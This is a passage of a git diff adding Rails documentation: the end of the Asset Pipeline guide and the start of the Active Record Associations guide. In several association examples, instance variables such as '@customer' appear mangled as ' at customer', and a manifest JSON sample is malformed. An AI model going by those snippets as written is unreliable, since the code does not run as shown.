+#logo { background: url(<%= asset_data_uri 'logo.png' %>) }
+```
+
+Without this declaration you may experience strange behavior when pushing to production that is difficult to debug. When you have `raise_runtime_errors` set to `true`, dependencies will be checked at runtime so you can ensure that all dependencies are met.
+
+
+### Turning Debugging Off
+
+You can turn off debug mode by updating `config/environments/development.rb` to
+include:
+
+```ruby
+config.assets.debug = false
+```
+
+When debug mode is off, Sprockets concatenates and runs the necessary
+preprocessors on all files. With debug mode turned off the manifest above would
+generate instead:
+
+```html
+<script src="/assets/application.js"></script>
+```
+
+Assets are compiled and cached on the first request after the server is started.
+Sprockets sets a `must-revalidate` Cache-Control HTTP header to reduce request
+overhead on subsequent requests - on these the browser gets a 304 (Not Modified)
+response.
+
+If any of the files in the manifest have changed between requests, the server
+responds with a new compiled file.
+
+Debug mode can also be enabled in Rails helper methods:
+
+```erb
+<%= stylesheet_link_tag "application", debug: true %>
+<%= javascript_include_tag "application", debug: true %>
+```
+
+The `:debug` option is redundant if debug mode is already on.
+
+You can also enable compression in development mode as a sanity check, and
+disable it on-demand as required for debugging.
+
+In Production
+-------------
+
+In the production environment Sprockets uses the fingerprinting scheme outlined
+above. By default Rails assumes assets have been precompiled and will be
+served as static assets by your web server.
+
+During the precompilation phase an MD5 is generated from the contents of the
+compiled files, and inserted into the filenames as they are written to disc.
+These fingerprinted names are used by the Rails helpers in place of the manifest
+name.
+
+For example this:
+
+```erb
+<%= javascript_include_tag "application" %>
+<%= stylesheet_link_tag "application" %>
+```
+
+generates something like this:
+
+```html
+<script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js"></script>
+<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen"
+rel="stylesheet" />
+```
+
+Note: with the Asset Pipeline the :cache and :concat options aren't used
+anymore, delete these options from the `javascript_include_tag` and
+`stylesheet_link_tag`.
+
+The fingerprinting behavior is controlled by the `config.assets.digest`
+initialization option (which defaults to `true` for production and `false` for
+everything else).
+
+NOTE: Under normal circumstances the default `config.assets.digest` option
+should not be changed. If there are no digests in the filenames, and far-future
+headers are set, remote clients will never know to refetch the files when their
+content changes.
+
+### Precompiling Assets
+
+Rails comes bundled with a rake task to compile the asset manifests and other
+files in the pipeline.
+
+Compiled assets are written to the location specified in `config.assets.prefix`.
+By default, this is the `/assets` directory.
+
+You can call this task on the server during deployment to create compiled
+versions of your assets directly on the server. See the next section for
+information on compiling locally.
+
+The rake task is:
+
+```bash
+$ RAILS_ENV=production bin/rake assets:precompile
+```
+
+Capistrano (v2.15.1 and above) includes a recipe to handle this in deployment.
+Add the following line to `Capfile`:
+
+```ruby
+load 'deploy/assets'
+```
+
+This links the folder specified in `config.assets.prefix` to `shared/assets`.
+If you already use this shared folder you'll need to write your own deployment
+task.
+
+It is important that this folder is shared between deployments so that remotely
+cached pages referencing the old compiled assets still work for the life of
+the cached page.
+
+The default matcher for compiling files includes `application.js`,
+`application.css` and all non-JS/CSS files (this will include all image assets
+automatically) from `app/assets` folders including your gems:
+
+```ruby
+[ Proc.new { |path, fn| fn =~ /app\/assets/ && !%w(.js .css).include?(File.extname(path)) },
+/application.(css|js)$/ ]
+```
+
+NOTE: The matcher (and other members of the precompile array; see below) is
+applied to final compiled file names. This means anything that compiles to
+JS/CSS is excluded, as well as raw JS/CSS files; for example, `.coffee` and
+`.scss` files are **not** automatically included as they compile to JS/CSS.
+
+If you have other manifests or individual stylesheets and JavaScript files to
+include, you can add them to the `precompile` array in `config/initializers/assets.rb`:
+
+```ruby
+Rails.application.config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js']
+```
+
+Or, you can opt to precompile all assets with something like this:
+
+```ruby
+# config/initializers/assets.rb
+Rails.application.config.assets.precompile << Proc.new do |path|
+  if path =~ /\.(css|js)\z/
+    full_path = Rails.application.assets.resolve(path).to_path
+    app_assets_path = Rails.root.join('app', 'assets').to_path
+    if full_path.starts_with? app_assets_path
+      puts "including asset: " + full_path
+      true
+    else
+      puts "excluding asset: " + full_path
+      false
+    end
+  else
+    false
+  end
+end
+```
+
+NOTE. Always specify an expected compiled filename that ends with .js or .css,
+even if you want to add Sass or CoffeeScript files to the precompile array.
+
+The rake task also generates a `manifest-md5hash.json` that contains a list with
+all your assets and their respective fingerprints. This is used by the Rails
+helper methods to avoid handing the mapping requests back to Sprockets. A
+typical manifest file looks like:
+
+```ruby
+{"files":{"application-723d1be6cc741a3aabb1cec24276d681.js":{"logical_path":"application.js","mtime":"2013-07-26T22:55:03-07:00","size":302506,
+"digest":"723d1be6cc741a3aabb1cec24276d681"},"application-12b3c7dd74d2e9df37e7cbb1efa76a6d.css":{"logical_path":"application.css","mtime":"2013-07-26T22:54:54-07:00","size":1560,
+"digest":"12b3c7dd74d2e9df37e7cbb1efa76a6d"},"application-1c5752789588ac18d7e1a50b1f0fd4c2.css":{"logical_path":"application.css","mtime":"2013-07-26T22:56:17-07:00","size":1591,
+"digest":"1c5752789588ac18d7e1a50b1f0fd4c2"},"favicon-a9c641bf2b81f0476e876f7c5e375969.ico":{"logical_path":"favicon.ico","mtime":"2013-07-26T23:00:10-07:00","size":1406,
+"digest":"a9c641bf2b81f0476e876f7c5e375969"},"my_image-231a680f23887d9dd70710ea5efd3c62.png":{"logical_path":"my_image.png","mtime":"2013-07-26T23:00:27-07:00","size":6646,
+"digest":"231a680f23887d9dd70710ea5efd3c62"}},"assets"{"application.js":
+"application-723d1be6cc741a3aabb1cec24276d681.js","application.css":
+"application-1c5752789588ac18d7e1a50b1f0fd4c2.css",
+"favicon.ico":"favicona9c641bf2b81f0476e876f7c5e375969.ico","my_image.png":
+"my_image-231a680f23887d9dd70710ea5efd3c62.png"}}
+```
+
+The default location for the manifest is the root of the location specified in
+`config.assets.prefix` ('/assets' by default).
+
+NOTE: If there are missing precompiled files in production you will get an
+`Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError`
+exception indicating the name of the missing file(s).
+
+#### Far-future Expires Header
+
+Precompiled assets exist on the filesystem and are served directly by your web
+server. They do not have far-future headers by default, so to get the benefit of
+fingerprinting you'll have to update your server configuration to add those
+headers.
+
+For Apache:
+
+```apache
+# The Expires* directives requires the Apache module
+# `mod_expires` to be enabled.
+<Location /assets/>
+  # Use of ETag is discouraged when Last-Modified is present
+  Header unset ETag FileETag None
+  # RFC says only cache for 1 year
+  ExpiresActive On ExpiresDefault "access plus 1 year"
+</Location>
+```
+
+For nginx:
+
+```nginx
+location ~ ^/assets/ {
+  expires 1y;
+  add_header Cache-Control public;
+
+  add_header ETag "";
+  break;
+}
+```
+
+#### GZip Compression
+
+When files are precompiled, Sprockets also creates a
+[gzipped](http://en.wikipedia.org/wiki/Gzip) (.gz) version of your assets. Web
+servers are typically configured to use a moderate compression ratio as a
+compromise, but since precompilation happens once, Sprockets uses the maximum
+compression ratio, thus reducing the size of the data transfer to the minimum.
+On the other hand, web servers can be configured to serve compressed content
+directly from disk, rather than deflating non-compressed files themselves.
+
+Nginx is able to do this automatically enabling `gzip_static`:
+
+```nginx
+location ~ ^/(assets)/  {
+  root /path/to/public;
+  gzip_static on; # to serve pre-gzipped version
+  expires max;
+  add_header Cache-Control public;
+}
+```
+
+This directive is available if the core module that provides this feature was
+compiled with the web server. Ubuntu/Debian packages, even `nginx-light`, have
+the module compiled. Otherwise, you may need to perform a manual compilation:
+
+```bash
+./configure --with-http_gzip_static_module
+```
+
+If you're compiling nginx with Phusion Passenger you'll need to pass that option
+when prompted.
+
+A robust configuration for Apache is possible but tricky; please Google around.
+(Or help update this Guide if you have a good configuration example for Apache.)
+
+### Local Precompilation
+
+There are several reasons why you might want to precompile your assets locally.
+Among them are:
+
+* You may not have write access to your production file system.
+* You may be deploying to more than one server, and want to avoid
+duplication of work.
+* You may be doing frequent deploys that do not include asset changes.
+
+Local compilation allows you to commit the compiled files into source control,
+and deploy as normal.
+
+There are two caveats:
+
+* You must not run the Capistrano deployment task that precompiles assets.
+* You must change the following two application configuration settings.
+
+In `config/environments/development.rb`, place the following line:
+
+```ruby
+config.assets.prefix = "/dev-assets"
+```
+
+The `prefix` change makes Sprockets use a different URL for serving assets in
+development mode, and pass all requests to Sprockets. The prefix is still set to
+`/assets` in the production environment. Without this change, the application
+would serve the precompiled assets from `/assets` in development, and you would
+not see any local changes until you compile assets again.
+
+You will also need to ensure any necessary compressors or minifiers are
+available on your development system.
+
+In practice, this will allow you to precompile locally, have those files in your
+working tree, and commit those files to source control when needed.  Development
+mode will work as expected.
+
+### Live Compilation
+
+In some circumstances you may wish to use live compilation. In this mode all
+requests for assets in the pipeline are handled by Sprockets directly.
+
+To enable this option set:
+
+```ruby
+config.assets.compile = true
+```
+
+On the first request the assets are compiled and cached as outlined in
+development above, and the manifest names used in the helpers are altered to
+include the MD5 hash.
+
+Sprockets also sets the `Cache-Control` HTTP header to `max-age=31536000`. This
+signals all caches between your server and the client browser that this content
+(the file served) can be cached for 1 year. The effect of this is to reduce the
+number of requests for this asset from your server; the asset has a good chance
+of being in the local browser cache or some intermediate cache.
+
+This mode uses more memory, performs more poorly than the default and is not
+recommended.
+
+If you are deploying a production application to a system without any
+pre-existing JavaScript runtimes, you may want to add one to your Gemfile:
+
+```ruby
+group :production do
+  gem 'therubyracer'
+end
+```
+
+### CDNs
+
+If your assets are being served by a CDN, ensure they don't stick around in your
+cache forever. This can cause problems. If you use
+`config.action_controller.perform_caching = true`, Rack::Cache will use
+`Rails.cache` to store assets. This can cause your cache to fill up quickly.
+
+Every cache is different, so evaluate how your CDN handles caching and make sure
+that it plays nicely with the pipeline. You may find quirks related to your
+specific set up, you may not. The defaults nginx uses, for example, should give
+you no problems when used as an HTTP cache.
+
+Customizing the Pipeline
+------------------------
+
+### CSS Compression
+
+One of the options for compressing CSS is YUI. The [YUI CSS
+compressor](http://yui.github.io/yuicompressor/css.html) provides
+minification.
+
+The following line enables YUI compression, and requires the `yui-compressor`
+gem.
+
+```ruby
+config.assets.css_compressor = :yui
+```
+The other option for compressing CSS if you have the sass-rails gem installed is 
+
+```ruby
+config.assets.css_compressor = :sass
+```
+
+### JavaScript Compression
+
+Possible options for JavaScript compression are `:closure`, `:uglifier` and
+`:yui`. These require the use of the `closure-compiler`, `uglifier` or
+`yui-compressor` gems, respectively.
+
+The default Gemfile includes [uglifier](https://github.com/lautis/uglifier).
+This gem wraps [UglifyJS](https://github.com/mishoo/UglifyJS) (written for
+NodeJS) in Ruby. It compresses your code by removing white space and comments,
+shortening local variable names, and performing other micro-optimizations such
+as changing `if` and `else` statements to ternary operators where possible.
+
+The following line invokes `uglifier` for JavaScript compression.
+
+```ruby
+config.assets.js_compressor = :uglifier
+```
+
+NOTE: You will need an [ExecJS](https://github.com/sstephenson/execjs#readme)
+supported runtime in order to use `uglifier`. If you are using Mac OS X or
+Windows you have a JavaScript runtime installed in your operating system.
+
+NOTE: The `config.assets.compress` initialization option is no longer used in
+Rails 4 to enable either CSS or JavaScript compression. Setting it will have no
+effect on the application. Instead, setting `config.assets.css_compressor` and
+`config.assets.js_compressor` will control compression of CSS and JavaScript
+assets.
+
+### Using Your Own Compressor
+
+The compressor config settings for CSS and JavaScript also take any object.
+This object must have a `compress` method that takes a string as the sole
+argument and it must return a string.
+
+```ruby
+class Transformer
+  def compress(string)
+    do_something_returning_a_string(string)
+  end
+end
+```
+
+To enable this, pass a new object to the config option in `application.rb`:
+
+```ruby
+config.assets.css_compressor = Transformer.new
+```
+
+
+### Changing the _assets_ Path
+
+The public path that Sprockets uses by default is `/assets`.
+
+This can be changed to something else:
+
+```ruby
+config.assets.prefix = "/some_other_path"
+```
+
+This is a handy option if you are updating an older project that didn't use the
+asset pipeline and already uses this path or you wish to use this path for
+a new resource.
+
+### X-Sendfile Headers
+
+The X-Sendfile header is a directive to the web server to ignore the response
+from the application, and instead serve a specified file from disk. This option
+is off by default, but can be enabled if your server supports it. When enabled,
+this passes responsibility for serving the file to the web server, which is
+faster. Have a look at [send_file](http://api.rubyonrails.org/classes/ActionController/DataStreaming.html#method-i-send_file) 
+on how to use this feature.
+
+Apache and nginx support this option, which can be enabled in
+`config/environments/production.rb`:
+
+```ruby
+# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
+# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
+```
+
+WARNING: If you are upgrading an existing application and intend to use this
+option, take care to paste this configuration option only into `production.rb`
+and any other environments you define with production behavior (not
+`application.rb`).
+
+TIP: For further details have a look at the docs of your production web server:
+- [Apache](https://tn123.org/mod_xsendfile/)
+- [Nginx](http://wiki.nginx.org/XSendfile)
+
+Assets Cache Store
+------------------
+
+The default Rails cache store will be used by Sprockets to cache assets in
+development and production. This can be changed by setting
+`config.assets.cache_store`:
+
+```ruby
+config.assets.cache_store = :memory_store
+```
+
+The options accepted by the assets cache store are the same as the application's
+cache store.
+
+```ruby
+config.assets.cache_store = :memory_store, { size: 32.megabytes }
+```
+
+Adding Assets to Your Gems
+--------------------------
+
+Assets can also come from external sources in the form of gems.
+
+A good example of this is the `jquery-rails` gem which comes with Rails as the
+standard JavaScript library gem. This gem contains an engine class which
+inherits from `Rails::Engine`. By doing this, Rails is informed that the
+directory for this gem may contain assets and the `app/assets`, `lib/assets` and
+`vendor/assets` directories of this engine are added to the search path of
+Sprockets.
+
+Making Your Library or Gem a Pre-Processor
+------------------------------------------
+
+As Sprockets uses [Tilt](https://github.com/rtomayko/tilt) as a generic
+interface to different templating engines, your gem should just implement the
+Tilt template protocol. Normally, you would subclass `Tilt::Template` and
+reimplement the `prepare` method, which initializes your template, and the
+`evaluate` method, which returns the processed source. The original source is
+stored in `data`. Have a look at
+[`Tilt::Template`](https://github.com/rtomayko/tilt/blob/master/lib/tilt/template.rb)
+sources to learn more.
+
+```ruby
+module BangBang
+  class Template < ::Tilt::Template
+    def prepare
+      # Do any initialization here
+    end
+
+    # Adds a "!" to original template.
+    def evaluate(scope, locals, &block)
+      "#{data}!"
+    end
+  end
+end
+```
+
+Now that you have a `Template` class, it's time to associate it with an
+extension for template files:
+
+```ruby
+Sprockets.register_engine '.bang', BangBang::Template
+```
+
+Upgrading from Old Versions of Rails
+------------------------------------
+
+There are a few issues when upgrading from Rails 3.0 or Rails 2.x. The first is
+moving the files from `public/` to the new locations. See [Asset
+Organization](#asset-organization) above for guidance on the correct locations
+for different file types.
+
+Next will be avoiding duplicate JavaScript files. Since jQuery is the default
+JavaScript library from Rails 3.1 onwards, you don't need to copy `jquery.js`
+into `app/assets` and it will be included automatically.
+
+The third is updating the various environment files with the correct default
+options.
+
+In `application.rb`:
+
+```ruby
+# Version of your assets, change this if you want to expire all your assets
+config.assets.version = '1.0'
+
+# Change the path that assets are served from config.assets.prefix = "/assets"
+```
+
+In `development.rb`:
+
+```ruby
+# Expands the lines which load the assets
+config.assets.debug = true
+```
+
+And in `production.rb`:
+
+```ruby
+# Choose the compressors to use (if any) config.assets.js_compressor  =
+# :uglifier config.assets.css_compressor = :yui
+
+# Don't fallback to assets pipeline if a precompiled asset is missed
+config.assets.compile = false
+
+# Generate digests for assets URLs. This is planned for deprecation.
+config.assets.digest = true
+
+# Precompile additional assets (application.js, application.css, and all
+# non-JS/CSS are already added) config.assets.precompile += %w( search.js )
+```
+
+Rails 4 no longer sets default config values for Sprockets in `test.rb`, so
+`test.rb` now requires Sprockets configuration. The old defaults in the test
+environment are: `config.assets.compile = true`, `config.assets.compress =
+false`, `config.assets.debug = false` and `config.assets.digest = false`.
+
+The following should also be added to `Gemfile`:
+
+```ruby
+gem 'sass-rails',   "~> 3.2.3"
+gem 'coffee-rails', "~> 3.2.1"
+gem 'uglifier'
+```
diff --git a/guides/source/association_basics.md b/guides/source/association_basics.md
new file mode 100644
index 0000000..5ec6ae0
--- /dev/null
+++ b/guides/source/association_basics.md
@@ -0,0 +1,2229 @@
+Active Record Associations
+==========================
+
+This guide covers the association features of Active Record.
+
+After reading this guide, you will know:
+
+* How to declare associations between Active Record models.
+* How to understand the various types of Active Record associations.
+* How to use the methods added to your models by creating associations.
+
+--------------------------------------------------------------------------------
+
+Why Associations?
+-----------------
+
+Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:
+
+```ruby
+class Customer < ActiveRecord::Base
+end
+
+class Order < ActiveRecord::Base
+end
+```
+
+Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this:
+
+```ruby
+ at order = Order.create(order_date: Time.now, customer_id: @customer.id)
+```
+
+Or consider deleting a customer, and ensuring that all of its orders get deleted as well:
+
+```ruby
+ at orders = Order.where(customer_id: @customer.id)
+ at orders.each do |order|
+  order.destroy
+end
+ at customer.destroy
+```
+
+With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:
+
+```ruby
+class Customer < ActiveRecord::Base
+  has_many :orders, dependent: :destroy
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+```
+
+With this change, creating a new order for a particular customer is easier:
+
+```ruby
+ at order = @customer.orders.create(order_date: Time.now)
+```
+
+Deleting a customer and all of its orders is *much* easier:
+
+```ruby
+ at customer.destroy
+```
+
+To learn more about the different types of associations, read the next section of this guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.
+
+The Types of Associations
+-------------------------
+
+In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model `belongs_to` another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of associations:
+
+* `belongs_to`
+* `has_one`
+* `has_many`
+* `has_many :through`
+* `has_one :through`
+* `has_and_belongs_to_many`
+
+In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.
+
+### The `belongs_to` Association
+
+A `belongs_to` association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way:
+
+```ruby
+class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+```
+
+![belongs_to Association Diagram](images/belongs_to.png)
+
+NOTE: `belongs_to` associations _must_ use the singular term. If you used the pluralized form in the above example for the `customer` association in the `Order` model, you would be told that there was an "uninitialized constant Order::Customers". This is because Rails automatically infers the class name from the association name. If the association name is wrongly pluralized, then the inferred class will be wrongly pluralized too.
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateOrders < ActiveRecord::Migration
+  def change
+    create_table :customers do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :orders do |t|
+      t.belongs_to :customer
+      t.datetime :order_date
+      t.timestamps
+    end
+  end
+end
+```
+
+### The `has_one` Association
+
+A `has_one` association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:
+
+```ruby
+class Supplier < ActiveRecord::Base
+  has_one :account
+end
+```
+
+![has_one Association Diagram](images/has_one.png)
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateSuppliers < ActiveRecord::Migration
+  def change
+    create_table :suppliers do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :accounts do |t|
+      t.belongs_to :supplier
+      t.string :account_number
+      t.timestamps
+    end
+  end
+end
+```
+
+### The `has_many` Association
+
+A `has_many` association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a `belongs_to` association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:
+
+```ruby
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+```
+
+NOTE: The name of the other model is pluralized when declaring a `has_many` association.
+
+![has_many Association Diagram](images/has_many.png)
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateCustomers < ActiveRecord::Migration
+  def change
+    create_table :customers do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :orders do |t|
+      t.belongs_to :customer
+      t.datetime :order_date
+      t.timestamps
+    end
+  end
+end
+```
+
+### The `has_many :through` Association
+
+A `has_many :through` association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:
+
+```ruby
+class Physician < ActiveRecord::Base
+  has_many :appointments
+  has_many :patients, through: :appointments
+end
+
+class Appointment < ActiveRecord::Base
+  belongs_to :physician
+  belongs_to :patient
+end
+
+class Patient < ActiveRecord::Base
+  has_many :appointments
+  has_many :physicians, through: :appointments
+end
+```
+
+![has_many :through Association Diagram](images/has_many_through.png)
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateAppointments < ActiveRecord::Migration
+  def change
+    create_table :physicians do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :patients do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :appointments do |t|
+      t.belongs_to :physician
+      t.belongs_to :patient
+      t.datetime :appointment_date
+      t.timestamps
+    end
+  end
+end
+```
+
+The collection of join models can be managed via the API. For example, if you assign
+
+```ruby
+physician.patients = patients
+```
+
+new join models are created for newly associated objects, and if some are gone their rows are deleted.
+
+WARNING: Automatic deletion of join models is direct, no destroy callbacks are triggered.
+
+The `has_many :through` association is also useful for setting up "shortcuts" through nested `has_many` associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:
+
+```ruby
+class Document < ActiveRecord::Base
+  has_many :sections
+  has_many :paragraphs, through: :sections
+end
+
+class Section < ActiveRecord::Base
+  belongs_to :document
+  has_many :paragraphs
+end
+
+class Paragraph < ActiveRecord::Base
+  belongs_to :section
+end
+```
+
+With `through: :sections` specified, Rails will now understand:
+
+```ruby
+ at document.paragraphs
+```
+
+### The `has_one :through` Association
+
+A `has_one :through` association sets up a one-to-one connection with another model. This association indicates
+that the declaring model can be matched with one instance of another model by proceeding _through_ a third model.
+For example, if each supplier has one account, and each account is associated with one account history, then the
+supplier model could look like this:
+
+```ruby
+class Supplier < ActiveRecord::Base
+  has_one :account
+  has_one :account_history, through: :account
+end
+
+class Account < ActiveRecord::Base
+  belongs_to :supplier
+  has_one :account_history
+end
+
+class AccountHistory < ActiveRecord::Base
+  belongs_to :account
+end
+```
+
+![has_one :through Association Diagram](images/has_one_through.png)
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateAccountHistories < ActiveRecord::Migration
+  def change
+    create_table :suppliers do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :accounts do |t|
+      t.belongs_to :supplier
+      t.string :account_number
+      t.timestamps
+    end
+
+    create_table :account_histories do |t|
+      t.belongs_to :account
+      t.integer :credit_rating
+      t.timestamps
+    end
+  end
+end
+```
+
+### The `has_and_belongs_to_many` Association
+
+A `has_and_belongs_to_many` association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:
+
+```ruby
+class Assembly < ActiveRecord::Base
+  has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies
+end
+```
+
+![has_and_belongs_to_many Association Diagram](images/habtm.png)
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateAssembliesAndParts < ActiveRecord::Migration
+  def change
+    create_table :assemblies do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :parts do |t|
+      t.string :part_number
+      t.timestamps
+    end
+
+    create_table :assemblies_parts, id: false do |t|
+      t.belongs_to :assembly
+      t.belongs_to :part
+    end
+  end
+end
+```
+
+### Choosing Between `belongs_to` and `has_one`
+
+If you want to set up a one-to-one relationship between two models, you'll need to add `belongs_to` to one, and `has_one` to the other. How do you know which is which?
+
+The distinction is in where you place the foreign key (it goes on the table for the class declaring the `belongs_to` association), but you should give some thought to the actual meaning of the data as well. The `has_one` relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:
+
+```ruby
+class Supplier < ActiveRecord::Base
+  has_one :account
+end
+
+class Account < ActiveRecord::Base
+  belongs_to :supplier
+end
+```
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateSuppliers < ActiveRecord::Migration
+  def change
+    create_table :suppliers do |t|
+      t.string  :name
+      t.timestamps
+    end
+
+    create_table :accounts do |t|
+      t.integer :supplier_id
+      t.string  :account_number
+      t.timestamps
+    end
+  end
+end
+```
+
+NOTE: Using `t.integer :supplier_id` makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using `t.references :supplier` instead.
+
+### Choosing Between `has_many :through` and `has_and_belongs_to_many`
+
+Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use `has_and_belongs_to_many`, which allows you to make the association directly:
+
+```ruby
+class Assembly < ActiveRecord::Base
+  has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies
+end
+```
+
+The second way to declare a many-to-many relationship is to use `has_many :through`. This makes the association indirectly, through a join model:
+
+```ruby
+class Assembly < ActiveRecord::Base
+  has_many :manifests
+  has_many :parts, through: :manifests
+end
+
+class Manifest < ActiveRecord::Base
+  belongs_to :assembly
+  belongs_to :part
+end
+
+class Part < ActiveRecord::Base
+  has_many :manifests
+  has_many :assemblies, through: :manifests
+end
+```
+
+The simplest rule of thumb is that you should set up a `has_many :through` relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a `has_and_belongs_to_many` relationship (though you'll need to remember to create the joining table in the database).
+
+You should use `has_many :through` if you need validations, callbacks, or extra attributes on the join model.
+
+### Polymorphic Associations
+
+A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:
+
+```ruby
+class Picture < ActiveRecord::Base
+  belongs_to :imageable, polymorphic: true
+end
+
+class Employee < ActiveRecord::Base
+  has_many :pictures, as: :imageable
+end
+
+class Product < ActiveRecord::Base
+  has_many :pictures, as: :imageable
+end
+```
+
+You can think of a polymorphic `belongs_to` declaration as setting up an interface that any other model can use. From an instance of the `Employee` model, you can retrieve a collection of pictures: `@employee.pictures`.
+
+Similarly, you can retrieve `@product.pictures`.
+
+If you have an instance of the `Picture` model, you can get to its parent via `@picture.imageable`. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:
+
+```ruby
+class CreatePictures < ActiveRecord::Migration
+  def change
+    create_table :pictures do |t|
+      t.string  :name
+      t.integer :imageable_id
+      t.string  :imageable_type
+      t.timestamps
+    end
+  end
+end
+```
+
+This migration can be simplified by using the `t.references` form:
+
+```ruby
+class CreatePictures < ActiveRecord::Migration
+  def change
+    create_table :pictures do |t|
+      t.string :name
+      t.references :imageable, polymorphic: true
+      t.timestamps
+    end
+  end
+end
+```
+
+![Polymorphic Association Diagram](images/polymorphic.png)
+
+### Self Joins
+
+In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations:
+
+```ruby
+class Employee < ActiveRecord::Base
+  has_many :subordinates, class_name: "Employee",
+                          foreign_key: "manager_id"
+
+  belongs_to :manager, class_name: "Employee"
+end
+```
+
+With this setup, you can retrieve `@employee.subordinates` and `@employee.manager`.
+
+In your migrations/schema, you will add a references column to the model itself.
+
+```ruby
+class CreateEmployees < ActiveRecord::Migration
+  def change
+    create_table :employees do |t|
+      t.references :manager
+      t.timestamps
+    end
+  end
+end
+```
+
+Tips, Tricks, and Warnings
+--------------------------
+
+Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:
+
+* Controlling caching
+* Avoiding name collisions
+* Updating the schema
+* Controlling association scope
+* Bi-directional associations
+
+### Controlling Caching
+
+All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:
+
+```ruby
+customer.orders                 # retrieves orders from the database
+customer.orders.size            # uses the cached copy of orders
+customer.orders.empty?          # uses the cached copy of orders
+```
+
+But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass `true` to the association call:
+
+```ruby
+customer.orders                 # retrieves orders from the database
+customer.orders.size            # uses the cached copy of orders
+customer.orders(true).empty?    # discards the cached copy of orders
+                                # and goes back to the database
+```
+
+### Avoiding Name Collisions
+
+You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of `ActiveRecord::Base`. The association method would override the base method and break things. For instance, `attributes` or `connection` are bad names for associations.
+
+### Updating the Schema
+
+Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For `belongs_to` associations you need to create foreign keys, and for `has_and_belongs_to_many` associations you need to create the appropriate join table.
+
+#### Creating Foreign Keys for `belongs_to` Associations
+
+When you declare a `belongs_to` association, you need to create foreign keys as appropriate. For example, consider this model:
+
+```ruby
+class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+```
+
+This declaration needs to be backed up by the proper foreign key declaration on the orders table:
+
+```ruby
+class CreateOrders < ActiveRecord::Migration
+  def change
+    create_table :orders do |t|
+      t.datetime :order_date
+      t.string   :order_number
+      t.integer  :customer_id
+    end
+  end
+end
+```
+
+If you create an association some time after you build the underlying model, you need to remember to create an `add_column` migration to provide the necessary foreign key.
+
+#### Creating Join Tables for `has_and_belongs_to_many` Associations
+
